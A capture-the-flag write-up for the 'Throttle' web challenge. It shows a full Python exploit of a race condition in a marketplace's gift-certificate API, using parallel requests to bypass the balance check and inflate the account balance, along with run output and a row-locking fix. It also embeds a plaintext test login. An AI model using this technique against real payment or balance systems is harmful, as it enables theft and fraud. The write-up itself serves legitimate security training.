← Back to Writeups
CUSTOMMediumWeb

Throttle

XESXOR9/10/20264 min read
#web#custom#medium#race-condition-on-certificate-#toctou-(time-of-check-to-time-#parallel-http-requests-to-bypa

Throttle

Platform: alfactf.ru | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2025-12-19 | Status: Solved Techniques: Race Condition on certificate creation, TOCTOU (Time-of-check to time-of-use), Parallel HTTP requests to bypass balance check

Summary

URL: https://throttle-tgjig3wk.alfactf.ru/

Throttle — alfactf.ru

Description

Вы уверенно рассекаете волны на доске, но отчего-то начинаете замедляться. О нет, кажется, вы попали в зону ограничения скорости! Нужно срочно продать свой старый сёрфборд, чтобы купить прошитый.

Создайте объявление о продаже сёрфа, а потом купите эксклюзивную услугу удаления всех остальных объявлений — и покупатель найдётся за считанные секунды!

URL: https://throttle-tgjig3wk.alfactf.ru/

Analysis

Application Reconnaissance

The "SurfMarket" website is a marketplace for selling surfboards:

  • React SPA with FastAPI (Python) backend
  • Registration requires reCAPTCHA
  • After registration, user receives 1000₽ balance ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Discovered API Endpoints

EndpointMethodDescriptionCost
/api/registerPOSTRegistration-
/api/tokenPOSTLogin-
/api/meGETUser info (balance)-
/api/adsPOSTCreate listing100₽
/api/services/my-adsGETMy listings-
/api/services/highlight-adPOSTHighlight listing100₽
/api/services/keep-onePOSTDelete all other listings~3.3M₽
/api/gift-certificatesPOSTCreate gift certificatecertificate amount
/api/gift-certificates/redeemPOSTRedeem certificate-
/api/chatsGETChats-
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: Race Condition

When creating a gift certificate:

  1. Minimum certificate amount = 1000₽
  2. Maximum amount = 50000₽
  3. Balance check happens WITHOUT locking

When sending multiple parallel requests to create certificates, all of them pass the balance check simultaneously and are created successfully, even though the balance is only sufficient for one.

Time:      T0          T1          T2          T3
           |           |           |           |
Request 1: [check: 1000₽ >= 1000₽ ✓] [create] [deduct]
Request 2: [check: 1000₽ >= 1000₽ ✓] [create] [deduct]
Request 3: [check: 1000₽ >= 1000₽ ✓] [create] [deduct]
...
Result: N REDACTED created, balance goes negative

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Exploiting Race Condition

python
#!/usr/bin/env python3
"""
Throttle - Race Condition on gift certificates
alfactf.ru
"""

import requests
import concurrent.futures
import json

BASE_URL = "https://throttle-tgjig3wk.alfactf.ru/api"

# Authentication
session = requests.Session()
resp = session.post(f"{BASE_URL}/token", data={
    "username": "+79055958312",
    "password": "123456789"
})
TOKEN = resp.json()['access_token']
HEADERS = {
    "Authorization": f"Bearer {TOKEN}",
    "Content-Type": "application/json"
}
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def check_balance():
    """Check current balance"""
    resp = requests.get(f"{BASE_URL}/me", headers=HEADERS)
    return resp.json().get('balance', 0)

def race_condition_attack(amount=50000, num_requests=100):
    """
    Race condition attack on certificate creation
    
    Args:
        amount: amount of each certificate (max 50000)
        num_requests: number of parallel requests
    """
    results = [None] * num_requests
    
    def create_cert(idx):
        resp = requests.post(
            f"{BASE_URL}/gift-certificates",
            headers=HEADERS,
            json={"amount": amount}
        )
        results[idx] = (resp.status_code, resp.text)
    
    # Send all requests in parallel
    with concurrent.futures.ThreadPoolExecutor(max_workers=num_requests) as executor:
        futures = [executor.submit(create_cert, i) for i in range(num_requests)]
        concurrent.futures.wait(futures)
    
    # Collect successfully created certificate codes
    codes = []
    for r in results:
        if r and r[0] == 200:
            try:
                data = json.loads(r[1])
                codes.append(data['code'])
            except:
                pass
    
    print(f"[+] Certificates created: {len(codes)}")
    return codes
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def redeem_certificates(codes):
    """Redeem all certificates"""
    redeemed = 0
    for code in codes:
        resp = requests.post(
            f"{BASE_URL}/gift-certificates/redeem",
            headers=HEADERS,
            json={"code": code}
        )
        if resp.status_code == 200:
            redeemed += 1
    print(f"[+] Certificates redeemed: {redeemed}")

# Main exploitation loop
print(f"[*] Initial balance: {check_balance()}₽")

# Multiple attack rounds to accumulate funds
for round_num in range(10):
    balance = check_balance()
    print(f"\n[*] Round {round_num + 1}, balance: {balance}₽")
    
    if balance >= 3300000:  # Enough for keep-one
        print("[+] Sufficient funds to purchase the service!")
        break
    
    # Determine maximum certificate amount
    amount = min(50000, max(1000, balance))
    
    codes = race_condition_attack(amount=amount, num_requests=100)
    if codes:
        redeem_certificates(codes)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(f"\n[*] Final balance: {check_balance()}₽")

Exploitation Result

[*] Initial balance: 1000₽
[*] Round 1, balance: 1000₽
[+] Certificates created: 7
[+] Certificates redeemed: 7
[*] Round 2, balance: 7000₽
[+] Certificates created: 12
[+] Certificates redeemed: 12
...
[*] Final balance: 3715670₽

Getting the Flag

python
# Create a surfboard listing
resp = requests.post(f"{BASE_URL}/ads", headers=HEADERS, json={
    "title": "Surfboard for sale",
    "description": "Great surfboard!",
    "price": 1000
})
ad_id = resp.json()['id']
print(f"[+] Listing created: {ad_id}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Purchase the keep-one service
resp = requests.post(f"{BASE_URL}/services/keep-one", headers=HEADERS, json={
    "ad_id": ad_id
})
print(f"[+] Service purchased: {resp.json()}")
# Response: {"kept_ad_id":193,"balance":371567}

# Check chats - the flag should be there
resp = requests.get(f"{BASE_URL}/chats", headers=HEADERS)
print(resp.json())
# Chat message from "buyer" contains the flag!

Defense Against Race Condition

Proper implementation should use:

python
# PostgreSQL with row locking
async def create_certificate(user_id: int, amount: int):
    async with db.transaction():
        # SELECT ... FOR UPDATE locks the row
        user = await db.fetchrow(
            "SELECT * FROM users WHERE id = $1 FOR UPDATE",
            user_id
        )
        
        if user['balance'] < amount:
            raise InsufficientFunds()
        
        # Atomic deduction
        await db.execute(
            "UPDATE users SET balance = balance - $1 WHERE id = $2",
            amount, user_id
        )
        
        # Create certificate
        code = generate_code()
        await db.execute(
            "INSERT INTO certificates (code, amount) VALUES ($1, $2)",
            code, amount
        )
        
        return code

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References

  • OWASP Race Conditions
  • PortSwigger Race Conditions ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍